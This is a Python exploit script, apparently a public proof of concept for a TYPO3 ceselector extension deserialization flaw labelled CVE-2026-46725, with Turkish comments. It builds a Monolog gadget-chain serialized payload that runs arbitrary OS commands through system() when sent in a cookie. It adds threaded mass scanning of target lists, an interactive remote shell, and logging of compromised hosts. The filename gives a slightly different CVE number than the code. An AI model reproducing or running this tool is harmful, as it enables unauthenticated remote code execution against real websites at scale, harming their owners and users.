5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-46275-v2.py PY
#!/usr/bin/env python3
"""
CVE-2026-46725 — TYPO3 ceselector Extension
Insecure Deserialization (PHP Object Injection) → RCE
CVSS 9.8 (Critical) | CWE-502
Author: DhiyaneshDk | Converted to Python
"""

import requests
import argparse
import re
import sys
import time
import shutil
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock

requests.packages.urllib3.disable_warnings()

# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════

def tw():
    return shutil.get_terminal_size((100, 24)).columns

class C:
    G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
    CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
    BL="\033[1m"; X="\033[0m"
    BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
    NOCOLOR = False

    @classmethod
    def fmt(cls, msg, *codes):
        if cls.NOCOLOR: return str(msg)
        return "".join(codes) + str(msg) + cls.X

    @classmethod
    def ok(cls, m):   return cls.fmt(m, cls.G)
    @classmethod
    def err(cls, m):  return cls.fmt(m, cls.R)
    @classmethod
    def warn(cls, m): return cls.fmt(m, cls.Y)
    @classmethod
    def dim(cls, m):  return cls.fmt(m, cls.DM)

    @classmethod
    def badge_err(cls, m):  return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
    @classmethod
    def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
    @classmethod
    def badge_ok(cls, m):   return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)

_lock    = Lock()
_verbose = False

def out(msg="", end="\n"):
    with _lock:
        sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
        sys.stdout.flush()

def vout(msg):
    if _verbose: out(msg)

def section(title, icon="◆"):
    out()
    out(C.fmt(f"  {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
    out(C.fmt("  " + "─" * min(52, tw()-4), C.DM))

def kv(k, v, vc=None):
    out(C.fmt(f"  · {k:<20}", C.DM) + C.fmt(str(v), vc or C.WH))

# ══════════════════════════════════════════════════
# PROGRESS / COUNTER BAR
# ══════════════════════════════════════════════════

class Bar:
    def __init__(self, total, title="", color=None):
        self.total   = max(total, 1)
        self.title   = title
        self.color   = color or C.CY
        self.current = 0
        self.start   = time.time()
        self._lines  = 0

    def update(self, n, info=""):
        self.current = n
        w       = tw()
        bw      = max(10, w - len(self.title) - 26)
        pct     = n / self.total
        filled  = int(bw * pct)
        elapsed = time.time() - self.start + 0.001
        rate    = n / elapsed
        eta     = (self.total - n) / rate if rate > 0 else 0
        bar = (C.fmt("█" * filled, self.color, C.BL) +
               C.fmt("░" * (bw - filled), C.DM))
        l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
              f" [{bar}] " +
              C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
              C.fmt(f" ({n}/{self.total})", C.DM))
        l2 = (f"  " + C.fmt(f"{rate:5.1f}/s", C.G) +
              f"  ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
              f"  " + C.fmt(str(info)[:w-32], C.DM))
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(l1 + "\n" + l2 + "\n")
            sys.stdout.flush()
        self._lines = 2

    def finish(self, msg=""):
        bw      = max(10, tw() - len(self.title) - 26)
        elapsed = time.time() - self.start
        rate    = self.current / (elapsed + 0.001)
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
                C.fmt("100.0%", C.BL, C.G) +
                C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
                C.fmt("  ✓ ", C.G, C.BL) +
                C.fmt(f"{elapsed:.1f}s  {rate:.1f}/s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()
        self._lines = 0

class CounterBar:
    def __init__(self, total, title="Scan"):
        self.total = max(total, 1)
        self.title = title
        self.n     = 0
        self.start = time.time()

    def inc(self, info=""):
        with _lock:
            self.n += 1
            elapsed = time.time() - self.start + 0.001
            rate = self.n / elapsed
            eta  = (self.total - self.n) / rate if rate > 0 else 0
            line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
                    C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
                    C.fmt(f" ({self.n}/{self.total})", C.DM) +
                    C.fmt(f"  {rate:.1f}/s", C.G) +
                    C.fmt(f"  ETA {eta:.0f}s", C.Y) +
                    C.fmt(f"  {str(info)[:45]}", C.DM))
            sys.stdout.write("\r" + " " * tw() + "\r" + line)
            sys.stdout.flush()

    def finish(self, msg=""):
        elapsed = time.time() - self.start
        with _lock:
            sys.stdout.write("\r" + " " * tw() + "\r")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                C.fmt(" TAMAMLANDI", C.BL, C.G) +
                C.fmt(f" ({self.n}/{self.total})", C.DM) +
                C.fmt(f"  {elapsed:.1f}s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()

# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════

def print_banner():
    out(C.fmt(r"""
  ████████╗██╗   ██╗██████╗  ██████╗ ██████╗
  ╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗
     ██║    ╚████╔╝ ██████╔╝██║   ██║ █████╔╝
     ██║     ╚██╔╝  ██╔═══╝ ██║   ██║ ╚═══██╗
     ██║      ██║   ██║     ╚██████╔╝██████╔╝
     ╚═╝      ╚═╝   ╚═╝      ╚═════╝ ╚═════╝
""", C.CY, C.BL))
    out(C.fmt("  CVE-2026-46725", C.BL, C.R) +
        C.fmt("  TYPO3 ceselector Extension  ", C.DM) +
        C.badge_err("CVSS 9.8 CRITICAL"))
    out(C.fmt("  Insecure Deserialization (PHP Object Injection) → RCE", C.DM))
    out(C.fmt("  CWE-502 | Unauthenticated | No Privileges Required", C.DM))
    out(C.fmt("  " + "─" * (tw()-4), C.DM))
    out()

# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════

DEFAULT_UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/124.0.0.0 Safari/537.36"
)

def make_session(timeout=15, proxy=None):
    s = requests.Session()
    s.verify  = False
    s.timeout = timeout
    s.headers.update({
        "User-Agent":      DEFAULT_UA,
        "Accept":          "text/html,application/xhtml+xml,"
                           "application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection":      "close",
    })
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    return s

def get_req(sess, url, **kw):
    try:
        return sess.get(url, allow_redirects=True, **kw)
    except Exception as e:
        vout(C.dim(f"  [GET ERR] {url} → {e}"))
        return None
# ══════════════════════════════════════════════════
# PAYLOAD — PHP Serialize → URL-Encode
# Orijinal nuclei template ile birebir aynı yöntem
# Base64 YOK — saf PHP serialize + URL-encode
# ══════════════════════════════════════════════════

# NULL byte — PHP protected property prefix: \x00*\x00
NUL = "\x00"

def build_php_serialize(cmd="id"):
    """
    Orijinal nuclei template payload'ını dinamik cmd ile üretir.

    Yöntem:
      1. PHP serialize string'i Python'da oluştur (NULL byte dahil)
      2. urllib.parse.quote() ile URL-encode et
      → Orijinal template ile BİREBİR aynı sonuç

    Gadget Chain:
      GroupHandler → BufferHandler → LogRecord → system(cmd)

    Orijinal template'deki sabit payload ("id" komutu):
      s:5:"mixed";s:2:"id";
    Dinamik hali:
      s:5:"mixed";s:{len(cmd)}:"{cmd}";
    """
    cmd_len = len(cmd)

    php_obj = (
        f'O:28:"Monolog\\Handler\\GroupHandler":1:{{'
            f's:11:"{NUL}*{NUL}handlers";a:1:{{'
                f'i:0;'
                f'O:29:"Monolog\\Handler\\BufferHandler":6:{{'
                    f's:10:"{NUL}*{NUL}handler";r:3;'
                    f's:13:"{NUL}*{NUL}bufferSize";i:1;'
                    f's:14:"{NUL}*{NUL}bufferLimit";i:0;'
                    f's:9:"{NUL}*{NUL}buffer";a:1:{{'
                        f'i:0;'
                        f'O:17:"Monolog\\LogRecord":2:{{'
                            f's:5:"level";'
                            f'E:19:"Monolog\\Level:Debug";'
                            f's:5:"mixed";'
                            f's:{cmd_len}:"{cmd}";'
                        f'}}'
                    f'}}'
                    f's:14:"{NUL}*{NUL}initialized";b:1;'
                    f's:13:"{NUL}*{NUL}processors";a:3:{{'
                        f'i:0;s:15:"get_object_vars";'
                        f'i:1;s:3:"end";'
                        f'i:2;s:6:"system";'
                    f'}}'
                f'}}'
            f'}}'
        f'}}'
    )

    # URL-encode — safe="" → tüm özel karakterler encode edilir
    return urllib.parse.quote(php_obj, safe="")


def verify_payload_match():
    """
    Geliştirici testi: build_php_serialize("id") orijinal
    nuclei template payload ile aynı mı?
    """
    # Orijinal nuclei template'deki URL-encoded payload
    ORIGINAL = (
        "O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B"
        "s%3A11%3A%22%00%2A%00handlers%22%3Ba%3A1%3A%7B"
        "i%3A0%3B"
        "O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B"
        "s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B"
        "s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B"
        "s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B"
        "s%3A9%3A%22%00%2A%00buffer%22%3Ba%3A1%3A%7B"
        "i%3A0%3B"
        "O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B"
        "s%3A5%3A%22level%22%3B"
        "E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B"
        "s%3A5%3A%22mixed%22%3B"
        "s%3A2%3A%22id%22%3B"
        "%7D%7D"
        "s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B"
        "s%3A13%3A%22%00%2A%00processors%22%3Ba%3A3%3A%7B"
        "i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B"
        "i%3A1%3Bs%3A3%3A%22end%22%3B"
        "i%3A2%3Bs%3A6%3A%22system%22%3B"
        "%7D%7D%7D%7D"
    )

    generated = build_php_serialize("id")

    orig_dec = urllib.parse.unquote(ORIGINAL)
    gen_dec  = urllib.parse.unquote(generated)

    if orig_dec == gen_dec:
        out(C.ok("  [✓] Payload orijinal nuclei template ile AYNI"))
        return True
    else:
        out(C.err("  [✗] Payload FARKLI — hata var!"))
        for i, (a, b) in enumerate(zip(orig_dec, gen_dec)):
            if a != b:
                out(C.warn(f"      Fark pos={i} "
                           f"orig={repr(a)} gen={repr(b)}"))
                out(C.dim(f"      Bağlam orig: "
                          f"{repr(orig_dec[max(0,i-15):i+15])}"))
                out(C.dim(f"      Bağlam gen : "
                          f"{repr(gen_dec[max(0,i-15):i+15])}"))
                break
        if len(orig_dec) != len(gen_dec):
            out(C.warn(f"      Uzunluk: orig={len(orig_dec)} "
                       f"gen={len(gen_dec)}"))
        return False


# ══════════════════════════════════════════════════
# TYPO3 & CESELECTOR TESPİT
# Orijinal flow: http(1) → T3_ceselector_ cookie var mı?
# ══════════════════════════════════════════════════

def detect_ceselector(sess, base_url):
    """
    Orijinal nuclei template http(1) adımı:
      GET /
      matcher: contains(header, "T3_ceselector_")
      extractor: Set-Cookie header'ından T3_ceselector_\\d+ adını çıkar
    """
    result = {
        "typo3":        False,
        "ceselector":   False,
        "cookie_name":  None,
        "version":      None,
    }

    # ── GET / ─────────────────────────────────────
    r = get_req(sess, base_url)
    if not r:
        return result

    # ── TYPO3 genel sinyalleri ────────────────────
    typo3_signals = [
        r'typo3', r'TYPO3', r'T3_ceselector',
        r'typo3conf', r'typo3temp', r'tx_ceselector',
    ]
    for sig in typo3_signals:
        if re.search(sig, r.text, re.I):
            result["typo3"] = True
            vout(C.dim(f"  [detect] TYPO3 sinyal: {sig}"))
            break

    # ── Orijinal matcher: contains(header, "T3_ceselector_") ──
    # requests.Response.headers tek satır dict — raw headers dene
    cookie_name = None

    # 1) response.cookies üzerinden
    for cname in r.cookies.keys():
        if re.match(r'T3_ceselector_\d+', cname, re.I):
            cookie_name = cname
            vout(C.dim(f"  [detect] Cookie (cookies): {cname}"))
            break

    # 2) raw headers üzerinden (urllib3)
    if not cookie_name:
        try:
            for hname, hval in r.raw.headers.items():
                if hname.lower() == "set-cookie":
                    m = re.search(
                        r'(T3_ceselector_\d+)=',
                        hval, re.I
                    )
                    if m:
                        cookie_name = m.group(1)
                        vout(C.dim(
                            f"  [detect] Cookie (raw): {cookie_name}"
                        ))
                        break
        except Exception:
            pass

    # 3) response.headers string üzerinden fallback
    if not cookie_name:
        headers_str = str(r.headers)
        m = re.search(r'(T3_ceselector_\d+)=', headers_str, re.I)
        if m:
            cookie_name = m.group(1)
            vout(C.dim(f"  [detect] Cookie (str): {cookie_name}"))

    if cookie_name:
        result["ceselector"]  = True
        result["cookie_name"] = cookie_name
        result["typo3"]       = True

    # ── TYPO3 sürümü ─────────────────────────────
    for vp in [r'TYPO3\s+CMS\s+([\d.]+)',
               r'typo3/([\d.]+)',
               r'"version"\s*:\s*"([\d.]+)"']:
        vm = re.search(vp, r.text, re.I)
        if vm:
            result["version"] = vm.group(1)
            break

    return result


# ══════════════════════════════════════════════════
# RCE ÇIKTISI DOĞRULA
# Orijinal matcher:
#   status_code == 200
#   regex("uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=...", body)
# ══════════════════════════════════════════════════

# Orijinal extractor regex
RCE_REGEX = re.compile(
    r'uid=\d+\([a-zA-Z0-9_-]+\)\s+gid=\d+\([a-zA-Z0-9_-]+\)[^\n]*'
)

# Orijinal matcher regex (daha katı)
RCE_MATCHER = re.compile(
    r'uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=\d+\([a-z_][a-z0-9_-]*\)'
)

# Komuta özel ek pattern'ler
EXTRA_PATTERNS = {
    "whoami":          re.compile(r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$', re.M),
    "uname -a":        re.compile(r'Linux\s+\S+\s+\d+\.\d+\.\d+'),
    "uname":           re.compile(r'(?:Linux|Darwin|FreeBSD)\s+\S+'),
    "pwd":             re.compile(r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$', re.M),
    "cat /etc/passwd": re.compile(r'root:x:0:0:root'),
    "ls":              re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'),
    "ls -la":          re.compile(r'(?:total \d+|[-drwx]{10}\s+\d+)'),
    "ps aux":          re.compile(r'(?:USER\s+PID|root\s+\d+)'),
    "env":             re.compile(r'(?:^|\n)(?:PATH|HOME|USER|SHELL)='),
    "phpinfo":         re.compile(r'PHP Version \d+\.\d+\.\d+'),
}

FALSE_POSITIVES = [
    r'XML-RPC', r'POST requests only',
    r'<!DOCTYPE html', r'<html',
    r'Error\s+40[34]', r'Not Found',
    r'Forbidden', r'Access Denied',
]

def extract_rce_output(body, cmd="id", status_code=200):
    """
    Orijinal nuclei template matcher/extractor mantığı:
      1. status_code == 200
      2. regex(uid=..., body) eşleşmeli
    """
    # Orijinal matcher koşul 1
    if status_code != 200:
        vout(C.dim(f"  [extract] status={status_code} != 200"))
        return None

    # False positive filtresi
    for fp in FALSE_POSITIVES:
        if re.search(fp, body, re.I):
            vout(C.dim(f"  [extract] false positive: {fp}"))
            return None

    # Orijinal matcher koşul 2 — id komutu için
    if cmd.strip().lower() == "id":
        m = RCE_REGEX.search(body)
        if m:
            return m.group(0).strip()
        return None

    # Diğer komutlar için ek pattern
    pat = EXTRA_PATTERNS.get(cmd.strip().lower())
    if pat:
        m = pat.search(body)
        if m:
            return m.group(0).strip()

    # Genel fallback — HTML temizlenmiş body'den çıktı al
    clean = re.sub(r'<[^>]+>', '', body)
    clean = re.sub(r'&[a-z]+;', ' ', clean)
    clean = re.sub(r'\s+', ' ', clean).strip()

    # En azından uid= içeriyorsa kabul et
    if re.search(r'uid=\d+', clean):
        return clean[:300]

    return None
# ══════════════════════════════════════════════════
# TEK HEDEF EXPLOIT
# Orijinal flow: http(1) && http(2)
# ══════════════════════════════════════════════════

def exploit_single(sess, base_url, cmd="id",
                   silent=False, timeout=15):
    url = base_url.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    # ── http(1): Tespit & Cookie Al ───────────────
    if not silent:
        section("TYPO3 & ceselector Tespit  [http/1]", "①")

    info = detect_ceselector(sess, url)

    if not silent:
        kv("TYPO3",
           C.ok("✓ Tespit edildi") if info["typo3"]
           else C.err("✗ Bulunamadı"))
        kv("ceselector Cookie",
           C.ok(f"✓ {info['cookie_name']}") if info["ceselector"]
           else C.err("✗ T3_ceselector_* yok"))
        if info["version"]:
            kv("TYPO3 Sürüm", info["version"], C.DM)

    # http(1) matcher başarısız → dur
    if not info["typo3"]:
        return {"ok": False, "reason": "typo3_not_found", "url": url}

    if not info["ceselector"]:
        return {
            "ok":     False,
            "reason": "ceselector_cookie_not_found",
            "url":    url,
        }

    cookie_name = info["cookie_name"]

    # ── http(2): Payload Hazırla ──────────────────
    if not silent:
        section("Payload  [http/2]", "②")
        kv("Yöntem",  "PHP serialize → URL-encode", C.Y)
        kv("Gadget",  "Monolog\\Handler\\GroupHandler", C.DM)
        kv("Sink",    "system()", C.R)
        kv("Komut",   cmd, C.CY)
        out()

    payload = build_php_serialize(cmd)

    vout(C.dim(f"  [payload] {urllib.parse.unquote(payload)[:120]}"))
    vout(C.dim(f"  [encoded] {payload[:80]}..."))

    # ── http(2): İstek Gönder ─────────────────────
    if not silent:
        section("Exploit İsteği Gönderiliyor", "③")

    headers = {
        "User-Agent":      DEFAULT_UA,
        "Accept":          "text/html,application/xhtml+xml,"
                           "application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection":      "close",
        # Orijinal template: Cookie: {{ceselector_cookie}}=<payload>
        "Cookie":          f"{cookie_name}={payload}",
    }

    vout(C.dim(f"  [request] GET {url}"))
    vout(C.dim(f"  [cookie]  {cookie_name}=<payload>"))

    r = get_req(sess, url, headers=headers)

    if not r:
        return {"ok": False, "reason": "request_failed", "url": url}

    vout(C.dim(f"  [response] HTTP {r.status_code} "
               f"len={len(r.text)}"))

    if not silent:
        kv("HTTP Status",
           r.status_code,
           C.G if r.status_code == 200 else C.R)

    # ── http(2): Matcher & Extractor ─────────────
    if not silent:
        section("RCE Çıktısı", "④")

    output = extract_rce_output(r.text, cmd, r.status_code)

    if output:
        if not silent:
            out(C.fmt("  ┌─ RCE ÇIKTISI ", C.G, C.BL) +
                C.fmt("─" * 36, C.G))
            for line in output.splitlines()[:15]:
                out(C.fmt("  │ ", C.G) +
                    C.fmt(line, C.WH, C.BL))
            out(C.fmt("  └" + "─" * 46, C.G))
            out()
            kv("Cookie",  cookie_name, C.DM)
            kv("Komut",   cmd,         C.CY)
            kv("Çıktı",   output[:80], C.G)
        return {
            "ok":          True,
            "output":      output,
            "url":         url,
            "cookie_name": cookie_name,
            "cmd":         cmd,
            "version":     info.get("version"),
        }

    if not silent:
        out(C.err("  ✗ RCE çıktısı alınamadı"))
        out(C.dim(f"  · HTTP Status : {r.status_code}"))
        out(C.dim(f"  · Ham yanıt   : {r.text[:300]}"))

    return {
        "ok":     False,
        "reason": "no_rce_output",
        "url":    url,
        "status": r.status_code,
        "raw":    r.text[:300],
    }


# ══════════════════════════════════════════════════
# TOPLU TARAMA
# ══════════════════════════════════════════════════

def bulk_scan(targets, cmd="id", threads=10,
              timeout=15, proxy=None):
    total   = len(targets)
    results = []
    bar     = CounterBar(total, "Tarama")
    r_lock  = Lock()

    def worker(target):
        url = target.strip()
        if not url:
            return
        if not url.startswith("http"):
            url = "http://" + url

        sess = make_session(timeout=timeout, proxy=proxy)
        res  = exploit_single(
            sess, url,
            cmd     = cmd,
            silent  = True,
            timeout = timeout,
        )

        if res.get("ok"):
            with r_lock:
                results.append(res)
                out(C.fmt("\n  " + "═" * 64, C.G))
                out(C.ok(f"  ✓ RCE ALINDI → {url}"))
                out(C.fmt(f"  · Sürüm  : "
                          f"{res.get('version','?')}", C.DM))
                out(C.fmt(f"  · Cookie : "
                          f"{res.get('cookie_name','')}", C.CY))
                out(C.fmt(f"  · Çıktı  : "
                          f"{res.get('output','')[:120]}", C.WH))
                out(C.fmt("  " + "═" * 64 + "\n", C.G))
            tag = C.ok(f"✓ RCE  {url}")

        elif res.get("reason") == "typo3_not_found":
            tag = C.dim(f"– typo3 yok  {url}")
        elif res.get("reason") == "ceselector_cookie_not_found":
            tag = C.dim(f"– ceselector yok  {url}")
        elif res.get("reason") == "no_rce_output":
            tag = C.warn(f"? cookie var / RCE yok  {url}")
        else:
            tag = C.err(f"✗ başarısız  {url}")

        bar.inc(tag)

    with ThreadPoolExecutor(max_workers=threads) as ex:
        futs = {ex.submit(worker, t): t for t in targets}
        try:
            for f in as_completed(futs):
                f.result()
        except KeyboardInterrupt:
            out(C.warn("\n  [!] Kullanıcı durdurdu."))

    bar.finish(f"{len(results)} RCE bulundu")
    return results


# ══════════════════════════════════════════════════
# KAYDET
# ══════════════════════════════════════════════════

def save_results(results, outfile=None):
    if not results:
        return
    if not outfile:
        outfile = f"typo3_ceselector_{int(time.time())}.txt"

    lines = [
        "=" * 60,
        "CVE-2026-46725 — TYPO3 ceselector RCE",
        f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}",
        "=" * 60,
        "",
        f"[+] RCE ALINAN HEDEFLER ({len(results)})",
        "-" * 40,
    ]
    for res in results:
        lines += [
            f"URL        : {res.get('url','')}",
            f"Sürüm      : {res.get('version','?')}",
            f"Cookie     : {res.get('cookie_name','')}",
            f"Komut      : {res.get('cmd','')}",
            f"Çıktı      : {res.get('output','')[:400]}",
            "",
        ]

    try:
        with open(outfile, "w", encoding="utf-8") as f:
            f.write("\n".join(lines))
        out(C.ok(f"\n  ✓ Sonuçlar kaydedildi → {outfile}"))
    except Exception as e:
        out(C.err(f"  ✗ Kayıt hatası: {e}"))
# ══════════════════════════════════════════════════
# İNTERAKTİF SHELL
# ══════════════════════════════════════════════════

def interactive_shell(sess, base_url, cookie_name):
    out()
    out(C.fmt("  ╔══════════════════════════════════════════╗", C.G, C.BL))
    out(C.fmt("  ║   İnteraktif Shell Açıldı                ║", C.G, C.BL))
    out(C.fmt("  ║   Çıkmak için: exit / quit / Ctrl+C      ║", C.G, C.BL))
    out(C.fmt("  ╚══════════════════════════════════════════╝", C.G, C.BL))
    out()

    # Başlangıç bilgileri
    for init_cmd in ["id", "uname -a", "pwd"]:
        payload = build_php_serialize(init_cmd)
        headers = {
            "User-Agent": DEFAULT_UA,
            "Cookie":     f"{cookie_name}={payload}",
            "Connection": "close",
        }
        r = get_req(sess, base_url, headers=headers)
        if r and r.status_code == 200:
            out_text = extract_rce_output(r.text, init_cmd, r.status_code)
            if out_text:
                first = out_text.splitlines()[0]
                kv(init_cmd, first, C.CY)
    out()

    history = []

    while True:
        try:
            prompt = (C.fmt("  typo3", C.G, C.BL) +
                      C.fmt("@", C.DM) +
                      C.fmt("ceselector", C.R, C.BL) +
                      C.fmt(" $ ", C.WH, C.BL))
            cmd = input(prompt).strip()
        except (KeyboardInterrupt, EOFError):
            out(C.warn("\n  [!] Shell kapatıldı."))
            break

        if not cmd:
            continue

        if cmd.lower() in ("exit", "quit", "q"):
            out(C.dim("  [*] Çıkılıyor..."))
            break

        if cmd.lower() == "history":
            for i, h in enumerate(history, 1):
                out(C.dim(f"  {i:3}  {h}"))
            continue

        if cmd.lower() == "help":
            out(C.dim("  Komutlar : exit, quit, history, help"))
            out(C.dim("  OS komut : id, whoami, uname -a, pwd, "
                      "cat /etc/passwd, ls -la ..."))
            continue

        history.append(cmd)

        payload = build_php_serialize(cmd)
        headers = {
            "User-Agent": DEFAULT_UA,
            "Cookie":     f"{cookie_name}={payload}",
            "Connection": "close",
        }

        r = get_req(sess, base_url, headers=headers)
        if not r:
            out(C.err("  ✗ İstek başarısız"))
            continue

        # False positive kontrolü
        fp_found = False
        for fp in FALSE_POSITIVES:
            if re.search(fp, r.text, re.I):
                out(C.err(f"  ✗ Geçersiz yanıt"))
                fp_found = True
                break
        if fp_found:
            continue

        # HTML temizle ve çıktıyı göster
        clean = re.sub(r'<[^>]+>', '', r.text)
        clean = re.sub(r'&[a-z]+;', ' ', clean)
        clean = re.sub(r'\s+', '\n', clean).strip()

        lines_out = [l for l in clean.splitlines() if l.strip()]
        if lines_out:
            for line in lines_out[:25]:
                out(C.fmt("  │ ", C.G) + line)
        else:
            out(C.dim("  (boş çıktı)"))


# ══════════════════════════════════════════════════
# ARG PARSER
# ══════════════════════════════════════════════════

def build_parser():
    p = argparse.ArgumentParser(
        prog="CVE-2026-46725",
        description=(
            "TYPO3 ceselector Extension — Insecure Deserialization RCE\n"
            "PHP Object Injection via unserialize() cookie bypass\n"
            "CVSS 9.8 Critical | CWE-502 | Unauthenticated"
        ),
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""
Örnekler:
  Tek hedef:
    python CVE-2026-46725.py -u https://typo3-site.com
    python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
    python CVE-2026-46725.py -u https://typo3-site.com --interactive

  Toplu tarama:
    python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
    python CVE-2026-46725.py -l targets.txt -t 30

  Payload doğrulama:
    python CVE-2026-46725.py --verify-payload
        """,
    )

    g1 = p.add_argument_group("Hedef")
    mx = g1.add_mutually_exclusive_group(required=False)
    mx.add_argument("-u", "--url",  metavar="URL",
                    help="Tek hedef URL")
    mx.add_argument("-l", "--list", metavar="FILE",
                    help="Hedef listesi (satır başı URL)")
    mx.add_argument("--verify-payload",
                    action="store_true",
                    help="Payload orijinal ile aynı mı kontrol et")

    g2 = p.add_argument_group("Exploit")
    g2.add_argument("-c", "--cmd",
                    default="id", metavar="CMD",
                    help="Çalıştırılacak OS komutu (varsayılan: id)")
    g2.add_argument("-i", "--interactive",
                    action="store_true",
                    help="Başarılı exploit sonrası interaktif shell aç")

    g3 = p.add_argument_group("Tarama")
    g3.add_argument("-t", "--threads",
                    type=int, default=10, metavar="N",
                    help="Thread sayısı (varsayılan: 10)")
    g3.add_argument("--timeout",
                    type=int, default=15, metavar="S",
                    help="Timeout saniye (varsayılan: 15)")
    g3.add_argument("--proxy",
                    metavar="URL",
                    help="Proxy (örn: http://127.0.0.1:8080)")

    g4 = p.add_argument_group("Çıktı")
    g4.add_argument("-o", "--output",
                    metavar="FILE",
                    help="Sonuç dosyası")
    g4.add_argument("-v", "--verbose",
                    action="store_true",
                    help="Ayrıntılı çıktı")
    g4.add_argument("--no-color",
                    action="store_true",
                    help="Renksiz çıktı")
    return p


# ══════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════

def main():
    global _verbose
    parser = build_parser()
    args   = parser.parse_args()

    if args.no_color:
        C.NOCOLOR = True
    if args.verbose:
        _verbose = True

    print_banner()

    # ── Payload doğrulama modu ────────────────────
    if args.verify_payload:
        section("Payload Doğrulama", "✦")
        verify_payload_match()
        return

    # Hedef zorunlu
    if not args.url and not args.list:
        parser.print_help()
        sys.exit(1)

    # ── Toplu tarama ──────────────────────────────
    if args.list:
        try:
            with open(args.list, encoding="utf-8") as f:
                targets = [l.strip() for l in f if l.strip()]
        except FileNotFoundError:
            out(C.err(f"  ✗ Dosya bulunamadı: {args.list}"))
            sys.exit(1)

        section("Toplu Tarama", "▶")
        kv("Liste",   args.list,    C.DM)
        kv("Hedef",   len(targets), C.WH)
        kv("Thread",  args.threads, C.DM)
        kv("Komut",   args.cmd,     C.CY)
        out()

        results = bulk_scan(
            targets,
            cmd     = args.cmd,
            threads = args.threads,
            timeout = args.timeout,
            proxy   = args.proxy,
        )

        save_results(results, args.output)

        out()
        out(C.fmt("  ╔══ ÖZET ════════════════════════════════╗", C.G, C.BL))
        out(C.fmt(f"  ║  Toplam Hedef : {len(targets):<23}║", C.WH))
        out(C.fmt(f"  ║  RCE Alınan  : {len(results):<23}║", C.G))
        out(C.fmt("  ╠════════════════════════════════════════╣", C.G, C.BL))
        for res in results:
            out(C.fmt(f"  ║  ✓ {res['url'][:37]:<37}║", C.G))
        out(C.fmt("  ╚════════════════════════════════════════╝", C.G, C.BL))
        return

    # ── Tek hedef ─────────────────────────────────
    url = args.url.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    section("Hedef", "▶")
    kv("URL",   url,      C.CY)
    kv("Komut", args.cmd, C.DM)
    out()

    sess   = make_session(timeout=args.timeout, proxy=args.proxy)
    result = exploit_single(
        sess, url,
        cmd     = args.cmd,
        silent  = False,
        timeout = args.timeout,
    )

    if result.get("ok"):
        save_results([result], outfile=args.output)

        if args.interactive:
            try:
                interactive_shell(sess, url, result["cookie_name"])
            except KeyboardInterrupt:
                out(C.warn("\n  [!] Shell kapatıldı."))
        else:
            try:
                ans = input(C.warn(
                    "\n  [?] İnteraktif shell aç? (y/n): "
                )).strip().lower()
                if ans == "y":
                    interactive_shell(sess, url, result["cookie_name"])
            except (KeyboardInterrupt, EOFError):
                pass

    else:
        reason = result.get("reason", "?")
        out(C.fmt("\n  ✗ Exploit başarısız.", C.R))
        kv("Sebep", reason, C.DM)
        out()
        out(C.warn("  Öneriler:"))
        out(C.dim("  1. Hedefte TYPO3 kurulu ve ceselector aktif olmalı"))
